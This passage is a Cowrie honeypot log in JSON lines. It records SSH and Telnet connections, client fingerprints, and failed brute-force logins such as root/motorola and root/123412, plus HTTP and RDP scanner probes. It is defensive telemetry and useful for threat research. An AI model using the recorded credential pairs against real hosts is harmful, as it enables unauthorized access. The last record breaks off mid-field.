{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:25.394139Z","src_ip":"80.94.92.184","session":"d53889130d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:27.977616Z","src_ip":"80.94.92.184","session":"d53889130d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":47026,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae6b47f77494","protocol":"ssh","message":"New connection: 109.237.96.109:47026 (10.17.0.5:22) [session: ae6b47f77494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:50.669822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:50.673512Z","src_ip":"109.237.96.109","session":"ae6b47f77494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:50.764072Z","src_ip":"109.237.96.109","session":"ae6b47f77494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"motorola","message":"login attempt [root/motorola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:51.038118Z","src_ip":"109.237.96.109","session":"ae6b47f77494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:33:52.130472Z","src_ip":"109.237.96.109","session":"ae6b47f77494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.127.55","src_port":50220,"dst_ip":"159.203.135.109","dst_port":22,"session":"c11f9fa417fd","protocol":"ssh","message":"New connection: 89.223.127.55:50220 (159.203.135.109:22) [session: c11f9fa417fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:02.169603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:02.174572Z","src_ip":"89.223.127.55","session":"c11f9fa417fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:02.289767Z","src_ip":"89.223.127.55","session":"c11f9fa417fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdtnghbdtn","message":"login attempt [root/ghbdtnghbdtn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:02.632260Z","src_ip":"89.223.127.55","session":"c11f9fa417fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":54536,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a308e0687b2","protocol":"ssh","message":"New connection: 94.159.98.239:54536 (10.17.0.5:22) [session: 1a308e0687b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:02.666333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:02.865077Z","src_ip":"94.159.98.239","session":"1a308e0687b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:02.869168Z","src_ip":"94.159.98.239","session":"1a308e0687b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:03.747582Z","src_ip":"89.223.127.55","session":"c11f9fa417fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trazenkvarel","message":"login attempt [root/trazenkvarel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:03.907946Z","src_ip":"94.159.98.239","session":"1a308e0687b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:05.138637Z","src_ip":"94.159.98.239","session":"1a308e0687b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.212","src_port":21150,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4fe64fe0b60","protocol":"telnet","message":"New connection: 65.49.1.212:21150 (10.17.0.5:23) [session: d4fe64fe0b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:16.234164Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:16.240343Z","src_ip":"65.49.1.212","session":"d4fe64fe0b60","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:16.250018Z","src_ip":"65.49.1.212","session":"d4fe64fe0b60","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:16.254758Z","src_ip":"65.49.1.212","session":"d4fe64fe0b60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09650063514709473,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:16.330508Z","src_ip":"65.49.1.212","session":"d4fe64fe0b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58632,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b171924cb95","protocol":"ssh","message":"New connection: 103.176.20.57:58632 (159.203.135.109:22) [session: 3b171924cb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:26.885982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:26.891013Z","src_ip":"103.176.20.57","session":"3b171924cb95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:27.145830Z","src_ip":"103.176.20.57","session":"3b171924cb95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123412","message":"login attempt [root/123412] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:27.917472Z","src_ip":"103.176.20.57","session":"3b171924cb95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:29.172920Z","src_ip":"103.176.20.57","session":"3b171924cb95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38970,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9dffe668138","protocol":"telnet","message":"New connection: 192.119.13.58:38970 (10.17.0.5:23) [session: d9dffe668138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:46.427064Z"}
{"eventid":"cowrie.session.closed","duration":6.601824045181274,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:53.028642Z","src_ip":"192.119.13.58","session":"d9dffe668138","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.50.171","src_port":58146,"dst_ip":"159.203.135.109","dst_port":23,"session":"30dafadfb016","protocol":"telnet","message":"New connection: 147.45.50.171:58146 (159.203.135.109:23) [session: 30dafadfb016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:34:53.848029Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.123","src_port":56236,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1428f939a18","protocol":"ssh","message":"New connection: 20.65.194.123:56236 (10.17.0.5:22) [session: e1428f939a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:06.804614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:06.810532Z","src_ip":"20.65.194.123","session":"e1428f939a18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:06.858459Z","src_ip":"20.65.194.123","session":"e1428f939a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.123","src_port":56248,"dst_ip":"10.17.0.5","dst_port":22,"session":"c677dcf6ce16","protocol":"ssh","message":"New connection: 20.65.194.123:56248 (10.17.0.5:22) [session: c677dcf6ce16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:06.950756Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:06.956472Z","src_ip":"20.65.194.123","session":"c677dcf6ce16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:06.961360Z","src_ip":"20.65.194.123","session":"c677dcf6ce16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:16.805197Z","src_ip":"20.65.194.123","session":"e1428f939a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":33260,"dst_ip":"10.17.0.5","dst_port":22,"session":"76833904b6af","protocol":"ssh","message":"New connection: 80.66.85.226:33260 (10.17.0.5:22) [session: 76833904b6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:19.388417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:19.393093Z","src_ip":"80.66.85.226","session":"76833904b6af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:19.492477Z","src_ip":"80.66.85.226","session":"76833904b6af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqwwweee","message":"login attempt [root/qqqwwweee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:19.775244Z","src_ip":"80.66.85.226","session":"76833904b6af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:20.872791Z","src_ip":"80.66.85.226","session":"76833904b6af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49349,"dst_ip":"10.17.0.5","dst_port":22,"session":"02587c7e3af0","protocol":"ssh","message":"New connection: 152.42.212.128:49349 (10.17.0.5:22) [session: 02587c7e3af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:23.724704Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:23.729563Z","src_ip":"152.42.212.128","session":"02587c7e3af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:23.733918Z","src_ip":"152.42.212.128","session":"02587c7e3af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":49034,"dst_ip":"159.203.135.109","dst_port":22,"session":"580f97e6bc0d","protocol":"ssh","message":"New connection: 103.173.227.57:49034 (159.203.135.109:22) [session: 580f97e6bc0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:27.443163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:27.448067Z","src_ip":"103.173.227.57","session":"580f97e6bc0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-